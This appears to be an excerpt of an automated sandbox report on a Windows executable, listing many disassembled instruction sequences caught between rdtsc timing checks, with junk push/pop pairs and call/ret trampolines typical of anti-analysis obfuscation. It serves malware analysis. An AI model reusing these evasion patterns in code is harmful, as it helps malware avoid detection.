Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ED150 second address: 13ED174 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA94CE91928h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b add edi, dword ptr [ebp+122D284Bh] 0x00000011 lea eax, dword ptr [ebp+1248ECE5h] 0x00000017 mov edx, dword ptr [ebp+122D27BFh] 0x0000001d push eax 0x0000001e push esi 0x0000001f push esi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ED174 second address: 13ED20E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FA94CE93528h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 js 00007FA94CE9352Ch 0x00000029 mov ecx, dword ptr [ebp+122D29CFh] 0x0000002f lea eax, dword ptr [ebp+1248ECA1h] 0x00000035 push 00000000h 0x00000037 push ecx 0x00000038 call 00007FA94CE93528h 0x0000003d pop ecx 0x0000003e mov dword ptr [esp+04h], ecx 0x00000042 add dword ptr [esp+04h], 00000019h 0x0000004a inc ecx 0x0000004b push ecx 0x0000004c ret 0x0000004d pop ecx 0x0000004e ret 0x0000004f cld 0x00000050 nop 0x00000051 jmp 00007FA94CE93536h 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a jo 00007FA94CE93526h 0x00000060 jmp 00007FA94CE93539h 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ED20E second address: 13ED226 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA94CE91934h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ED226 second address: 13D555C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007FA94CE93528h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 call 00007FA94CE93534h 0x00000028 mov ecx, dword ptr [ebp+122D28FBh] 0x0000002e pop edx 0x0000002f call dword ptr [ebp+1245C6F4h] 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jl 00007FA94CE93526h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13D555C second address: 13D5560 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13D5560 second address: 13D5566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13A442A second address: 13A443D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA94CE9192Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13A443D second address: 13A4453 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FA94CE93530h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 142DFBC second address: 142DFC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 142E15E second address: 142E17F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FA94CE93539h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 142E478 second address: 142E47C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 142E47C second address: 142E486 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 142E5D4 second address: 142E5D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 142E5D9 second address: 142E5E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 142E5E0 second address: 142E604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FA94CE91926h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA94CE91935h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1437274 second address: 1437278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1437278 second address: 1437287 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA94CE91926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1437287 second address: 14372B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007FA94CE93536h 0x00000010 jmp 00007FA94CE9352Fh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14372B8 second address: 14372C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007FA94CE91926h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1437988 second address: 143799E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA94CE93526h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jg 00007FA94CE93526h 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1437B13 second address: 1437B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1437B17 second address: 1437B1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1437D97 second address: 1437D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1437D9D second address: 1437DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1437EDE second address: 1437EF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jmp 00007FA94CE91930h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1437EF5 second address: 1437EFC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1438459 second address: 143845D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 143845D second address: 143846C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA94CE93526h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 143846C second address: 1438472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 143B350 second address: 143B354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 143B354 second address: 143B388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a jp 00007FA94CE9192Ah 0x00000010 jnl 00007FA94CE91938h 0x00000016 push eax 0x00000017 push edx 0x00000018 jo 00007FA94CE91926h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 143B388 second address: 143B3A6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA94CE93526h 0x00000008 jmp 00007FA94CE93531h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 143B504 second address: 143B51E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push edx 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA94CE9192Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 143B6FC second address: 143B700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14412B6 second address: 14412C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 144140C second address: 1441410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 144168F second address: 14416BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jg 00007FA94CE91944h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1447170 second address: 1447174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1445B03 second address: 1445B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1445F1B second address: 1445F3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9352Ch 0x00000007 jns 00007FA94CE93526h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007FA94CE93526h 0x00000017 jo 00007FA94CE93526h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14460E5 second address: 14460E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14460E9 second address: 1446110 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FA94CE93526h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007FA94CE93537h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1446110 second address: 1446114 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 144623A second address: 1446266 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA94CE93532h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA94CE93536h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ECBE2 second address: 13ECBE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ECCAF second address: 13ECCDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007FA94CE9352Ch 0x0000000b popad 0x0000000c nop 0x0000000d add ecx, dword ptr [ebp+122D298Fh] 0x00000013 push 00000004h 0x00000015 mov dl, 1Bh 0x00000017 nop 0x00000018 js 00007FA94CE93538h 0x0000001e push eax 0x0000001f push edx 0x00000020 jnc 00007FA94CE93526h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ECCDB second address: 13ECCDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ECCDF second address: 13ECD01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA94CE93539h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 144B701 second address: 144B705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 144B83B second address: 144B84A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA94CE93526h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 144B84A second address: 144B854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA94CE91926h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 144BAE0 second address: 144BB0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 jp 00007FA94CE9352Eh 0x0000000f pushad 0x00000010 popad 0x00000011 jp 00007FA94CE93526h 0x00000017 push ebx 0x00000018 jmp 00007FA94CE93534h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 144BB0E second address: 144BB17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 144BB17 second address: 144BB1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 144BB1B second address: 144BB1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 144BC48 second address: 144BC78 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FA94CE93536h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FA94CE93534h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 144BDD3 second address: 144BDD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 144BDD7 second address: 144BDE3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA94CE93526h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14534C7 second address: 14534CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14534CF second address: 14534D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FA94CE93526h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1453C6F second address: 1453C90 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA94CE91926h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FA94CE91935h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1453C90 second address: 1453CC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9352Ch 0x00000007 jno 00007FA94CE93539h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jg 00007FA94CE93528h 0x00000016 pushad 0x00000017 popad 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1453CC5 second address: 1453CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 145424C second address: 145425F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jo 00007FA94CE93528h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 145425F second address: 1454263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1454263 second address: 1454267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1454A7B second address: 1454A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1454A81 second address: 1454A8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1454A8A second address: 1454A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1454DB6 second address: 1454DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007FA94CE93526h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1454DC7 second address: 1454DDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91934h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1454DDF second address: 1454E07 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA94CE9352Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA94CE93536h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1454E07 second address: 1454E0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 145EEDB second address: 145EF14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FA94CE93539h 0x0000000c jmp 00007FA94CE93537h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 145E606 second address: 145E610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FA94CE91926h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 145E610 second address: 145E614 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 145E614 second address: 145E61A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 145E754 second address: 145E763 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA94CE93526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 145E763 second address: 145E770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 je 00007FA94CE9192Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 145E770 second address: 145E774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 145EA81 second address: 145EA9C instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA94CE91926h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA94CE9192Bh 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 145EA9C second address: 145EAA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13B569F second address: 13B56CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FA94CE91936h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jl 00007FA94CE91938h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA94CE9192Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1465762 second address: 1465779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA94CE93533h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1465A44 second address: 1465A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1465CB9 second address: 1465CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1466276 second address: 14662A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA94CE91939h 0x00000009 pop ecx 0x0000000a ja 00007FA94CE9192Ch 0x00000010 jl 00007FA94CE91926h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14651F4 second address: 1465205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FA94CE93526h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1465205 second address: 1465209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1465209 second address: 1465239 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA94CE93526h 0x00000008 jmp 00007FA94CE93539h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 jnc 00007FA94CE93526h 0x00000016 pop ecx 0x00000017 popad 0x00000018 push ecx 0x00000019 push ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
